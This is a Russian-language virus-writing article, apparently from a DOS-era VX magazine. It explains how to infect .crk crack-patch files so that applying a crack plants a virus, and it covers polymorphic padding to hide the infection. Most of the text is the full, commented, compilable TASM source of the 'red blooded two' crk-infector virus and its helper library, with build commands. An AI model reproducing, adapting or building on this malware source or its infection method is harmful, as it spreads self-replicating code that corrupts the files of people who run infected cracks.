вступление
Посетив сайт Зомби [Z0MBiE] я увидел довольно интересную статью о
заражении crk и xck-файлов. Прочитав одно только название становится
ясно о том как можно заразить crk related файлы. Однако в статье Зомби
рассказывал о варианте когда crk есть а файла на который он расчитан на
винте нет. Я расскажу о методе когда и кряк и файл есть + полиморфизм в
crk-related.
формат crk-файлов
----[example.crk]-----------------------------------------------[start]--
Doctor Web ; название исправляемой программы
Заражение вирусом ; описание кряка
DRWEB.EXE ; имя файла
00000009: D9 64 ; смещение, оригинальный байт и
; байт на который надо менять
Заражение вирусом N2 ; описание кряка
DRWEB.EXE ; имя файла...
--------------------------------------------------------------[end]-----
Если в поле _оригинальный байт_ находится FFFF, то это значит, что
значение не определено (те на место этого байта может находится любой
другой). Все числа (оффсет, байты) шестнадцатеричные.
что нужно помнить (знать)
Вирус можно внедрять оверврайтом, в область повторяющихся байт или
стандарным методом (я тестировал запись за границы файла на Program
Cracker `93 и он не глючил).
Известно что crk-файл может содержать несколько кряков, желательно
заразить все.
В поле original byte желательно "класть" FFFF чтобы патчилки не
ругались.
Заражать нужно только com и exe файлы (поэтому проверка не помешала
бы).
Кряк файла на предмет посадки в него вируса НУЖНО распологать после
"оригинального" кряка иначе "оригинальный" кряк может поправить
(некоторые) байты в теле вируса и в результате получим испорченный файл.
Если мы сажаем вирус в файл оверврайтом то старый кряк можно не
записывать.
полиморфизм в crk-файлах
Известно что нет определенного порядка при патче файла (сначала можно
пропатчить первый байт, затем четвертый, третий, второй и ничего не
меняется) поэтому можно спокойно патчить файлы в любом порядке. Можно (и
нужно) так же добавить _немного_ мусора и тогда мы избавимся от
фиксированного размера "вируcного кряка".
Когда я тестировал работу своего полиморфика для crk-файлов (возможно
из-за большого размера кряка (видимо в этом был "виноват" _полиморфный
мусор_)) на Program Cracker'е к концу пропатченого файла добавлялся кусок
мусора.
но [!]
Если файл содержит не один кряк, а допустим 3 то размер файла
увеличится на 3 * (размер вируса * 17), что будет сильно выдавать кряк.
Нельзя предугадать как поведут себя патчилки (программы для применения
crk файлов) столкнувшись с кряками по 20кб и/или к записи за границу
файла.
вывод X)
Заражение кряков как технология (метод) распространения вируса очень
сомнителен, но в качестве респавнинга технология довольно неплохая.
Учитывая то что кряки попадают на компакты довольно часто и пока еще
такие файлы не проверяются антивирусами.
десерт =)
В качестве примера crk-инфектора предлагаю исходник одной из ранних
версий вируса "горячая кровь 2" (red blooded 2). Самая последняя версия
вируса вышла в качестве релиза нашей комманды (misdirected youth) и
доступна на наших станциях поддержки.
----[rb_two.asm]---------------------------------------------[start]----
; red blooded two version 0.92
;
;
; red blooded two is dedicated to Maya (from movie Red Bloded 2) & the
; skeve
;
; World's first crk-files infector. Infect all crk-files (with size
;smaller than virus size*19) of current catalog (process files without
;attributes (only) and don't save original file date'n'time of creation)
;
; crk-files infection
;
; Virus search and infect crk-files of current directory. Do not
;infect files with size larger than (virus size*19). Virus infect only
;first crack from crk file and only if "file to patch" is com-file and
;it is not already infected. Virus writes it's crack after original
;crack (original crack can modify virus jump and corrupt file, some kind
;of destruction). To infect crack virus needs "file to patch" in current
;directory.
;
; In result of using infected crack, com-file will be infected with a
;virus in "standart" way (jump to virus body in the beginning of
;file'n'virus body will be located in the end of file).
;
; I test this version using Program Cracker [1993] from DSL.
;
;
; history
;
; version number............: 0.90
; virus body size...........: 593 bytes
; date & time of creation...: 30.12.1999, 23:57
;
; First version, contain alot of bugs and don't work correctly.
;
;
; version number............: 0.91
; virus body size...........: 662 bytes
; date & time of creation...: 31.12.1999, 21:52
;
; Non-resident com-files & crk-files (in result of using infected
;crack, virus will be entered in the beginning of com or exe file, so
;called overwriting infector) infector. Contain some bugs and not
;optimized version.
;
;
; version number............: 0.92
; virus body size...........: 589 bytes
; date & time of creation...: 01.01.2000, 05:39
;
; I almost fully comment virus source code, and do all optimization
;here. Infection of com-files was also removed, now virus infect only
;crk-files (first crack of file and only if "file to path" is com file).
;In result of using infected crack, virus will infect com file by
;standart way.
;
; Source of this virus will be published in Social Distortion Two
;(russian vx magazine) as the example of simple crk-infector.
;
;
; compile
;
; compile source using borland turbo assembler: tasm /m rb_two.asm
; tlink /x /t rb_two.asm
;
; designed by mongoose, Misdirected Youth, january 1, 2000
;
.model tiny
.code
org 100h
vir_size_in_crk equ (end_of_code-real_start+4)*19 ;17
start: jmp real_start
db 090h,000h
;----------------------------------------------------------------------
real_start: call calculate_ip ; calculate IP
calculate_ip: pop bp
sub bp,offset calculate_ip
mov di,100h ; restore original bytes
push di
lea si,[bp+original_bytes]
movsw
movsw
;----------------------------------------------------------------------
; search & infect crk-files
;----------------------------------------------------------------------
infect_crk: mov ah,4eh ; find crk-file in currend
sub cx,cx ; directory
lea dx,[bp+crk_files]
next_crk: int 21h
jnc open_crk
ret
open_crk: mov ax,3d02h ; open file
mov dx,9eh
int 21h
jnc crk_handle
jmp find_next_crk ; if error, try to find
; another
crk_handle: xchg bx,ax ; move handle to bx
mov cx,word ptr cs:[9ah] ; move crk-file size in
; cx
cmp cx,vir_size_in_crk ; if crack file
; larger than
ja close_crk ; virus size*17, try to
; find another
mov ah,3fh ; read whole size in
; buffer
lea dx,[bp+buffer]
int 21h
mov word ptr [bp+crk_file_size],ax
sub di,di ; zero register
xchg ax,cx ; move file size in cx
find_descr: cmp word ptr [bp+buffer+di-4],0a0dh
jnz descr_next
cmp word ptr [bp+buffer+di-2],0a0dh
jnz descr_next ; search for crack
; description
inc di
inc di
jmp find_name
descr_next: inc di
loop find_descr
close_crk: mov ah,3eh ; if crack description not
int 21h ; found, close file
find_next_crk: mov ah,4fh ; try to find another
; crk-file
jmp next_crk
find_name: cmp word ptr [bp+buffer+di-2],0a0dh
jz found_name
inc di ; search for file name
; to patch
loop find_name
jmp close_crk
found_name: push di ; found file name to
; patch location
lea si,[bp+di+buffer]
lea di,[bp+file_name]
sub cx,cx
push di
move_fn_loop: lodsb ; move file name to
; patch to
push cx di si ; "file_name" buffer
cmp al,'.'
jz found_ext ; jump if found ext.
; location
filename_end: pop si di cx
cmp al,13
jz found_fn_end ; jump if found end
; of filename
stosb
inc cx
jmp move_fn_loop
found_ext: mov cx,3 ; convert ext. letters
push cx
call convert_to_lk
pop cx
lea di,[bp+com_ext] ; file to path is
; com-file?
cld
repe cmpsb
jz filename_end ; jump if yes
pop cx cx cx cx cx ; restore all data stored
; in
jmp close_crk ; stack and close file
found_fn_end: mov al,0
stosb ; end file name with 000h
fnd_crack_end: pop dx di ; restore:
; dx - file name to patch
; loc.
add di,cx ; di - orig. patch
; location-2
mov cx,word ptr [bp+crk_file_size]
sub cx,di ; cx = crk-file size * di
crack_end_lp: cmp word ptr [bp+buffer+di],0a0dh
jz chk_crack_end ; found end of patch?
crack_end_nxt: inc di
loop crack_end_lp
; pop dx
jmp close_crk
chk_crack_end: cmp word ptr [bp+buffer+di+2],0a0dh
jz open_filename ; jump if end of patch
; found
cmp cx,2
jnz crack_end_nxt ; jump if end of path not
; found
open_filename: inc di
inc di ; di = original path
; location
mov word ptr [bp+loc_of_crk_part],di
open_crk_file: push bx ; save crk-file handle
mov ax,3d02h ; open file to patch
int 21h
jnc crk_file_h ; jump if no error
pop bx
jmp close_crk
crk_file_h: xchg bx,ax
mov ah,3fh ; read original bytes
mov cx,4
lea dx,[bp+original_bytes]
int 21h
cmp byte ptr [bp+original_bytes+1],'Z'
jnz check_if_ill
pop bx
jmp close_crk
check_if_ill: cmp byte ptr [bp+original_bytes+3],000h
jnz can_infect_fl
pop bx
jmp close_crk
can_infect_fl: mov ax,4202h ; move pointer to end of
; file
sub cx,cx
cwd
int 21h
push ax ; save file to patch size
generated_jmp: sub ax,3 ; create jump
mov byte ptr [bp+vir_buffer],0e9h
mov word ptr [bp+vir_buffer+1],ax
mov byte ptr [bp+vir_buffer+3],000h
mov ah,3eh ; close file to patch
int 21h
pop ax ; restore file to patch
; size
pop bx ; restore crk-file handle
push ax ; save file to patch size
mov ax,4200h ; move pointer to original
sub cx,cx ; crack end
mov dx,word ptr [bp+loc_of_crk_part]
int 21h
lea di,[bp+vir_buffer+4] ; move virus body to virus
lea si,[bp+real_start] ; buffer
mov cx,(end_of_code-real_start)
push cx
cld
rep movsb
sub dx,dx ; write crack for jump
mov cx,4
lea si,[bp+vir_buffer]
call gen_crack_lp
pop cx dx ; write crack for virii
call gen_crack_lp
mov ah,40h ; write other shit after
lea dx,[bp+buffer] ; virus crack
add dx,word ptr [bp+loc_of_crk_part]
mov cx,word ptr [bp+crk_file_size]
sub cx,word ptr [bp+loc_of_crk_part]
int 21h
mov ah,3eh ; close file
int 21h
mov ah,4fh ; try to find next
; crk-file
jmp next_crk
include rb_two.lib
;-----------------------------------------------------------------------
; data
;-----------------------------------------------------------------------
original_bytes db 0cdh,020h,000h,000h
virus_name db '[red blooded two]'
com_ext db 'com'
crk_files db '*.crk',0
orig_byte db 'FFFF',20h
end_of_code label byte
crk_file_size dw ?
loc_of_crk_part dw ?
file_name db 13 dup (?)
buffer db vir_size_in_crk dup (?)
temp_buf db 9 dup (?)
crk_offset db 10 dup (?)
change_byte db 4 dup (?)
vir_buffer db (end_of_code-real_start)+4 dup (?)
;-----------------------------------------------------------------------
end start
----------------------------------------------------------------[end]---
----[rb_two.lib]-----------------------------------------------[start]--
convert_to_lk: push si
convert_loop: cmp byte ptr [si],'A'
jb char_hk
cmp byte ptr [si],'Z'
ja char_hk
add byte ptr [si],20h
char_hk: inc si
loop convert_loop
pop si
ret
;-----------------------------------------------------------------------
; write crack from dx offset & si buffer loc (cx bytes)
;-----------------------------------------------------------------------
gen_crack_lp: push cx dx si
call gen_offset
pop si dx cx
push cx dx si
mov dl,byte ptr [si]
lea di,[bp+change_byte]
call f8bin2asc
mov word ptr [bp+change_byte+2],0a0dh
mov ah,40h
mov cx,10
lea dx,[bp+crk_offset]
int 21h
mov ah,40h
mov cx,5
lea dx,[bp+orig_byte]
int 21h
mov ah,40h
mov cx,4
lea dx,[bp+change_byte]
int 21h
pop si dx cx
inc si
inc dx
loop gen_crack_lp
ret
;----------------------------------------------------------------------
; generate offset (10 bytes) in crk_offset
;
; dx - offset
;----------------------------------------------------------------------
gen_offset: call f16bin2asc
mov dx,8
sub dx,cx
push dx
lea si,[bp+temp_buf]
lea di,[bp+crk_offset]
push di
add di,dx
move_off_loop: lodsb
stosb
loop move_off_loop
pop di cx
move_zero_lp: mov byte ptr [di],'0'
inc di
loop move_zero_lp
mov word ptr [bp+crk_offset+8],' :'
ret
;----------------------------------------------------------------------
; from 16-bit binary to ascii hex
;----------------------------------------------------------------------
f16bin2asc: mov cx,4
push ax cx
lea di,[bp+temp_buf]
f16bin2asc_lp: push cx
mov cl,4
rol dx,cl
mov al,dl
and al,00fh
daa
add al,0f0h
adc al,040h
mov [di],al
inc di
pop cx
loop f16bin2asc_lp
mov byte ptr [di],0
pop cx ax
ret
;----------------------------------------------------------------------
; from 8-bit binary to ascii hex
;----------------------------------------------------------------------
f8bin2asc: push ax cx
mov cx,2
f8bin2asc_lp: push cx
mov cl,4
rol dl,cl
mov al,dl
and al,00fh
daa
add al,0f0h
adc al,040h
mov byte ptr [di],al
inc di
pop cx
loop f8bin2asc_lp
pop cx ax
ret
-------------------------------------------------------------[end]-----
code & article by mongoose, misdirected youth
|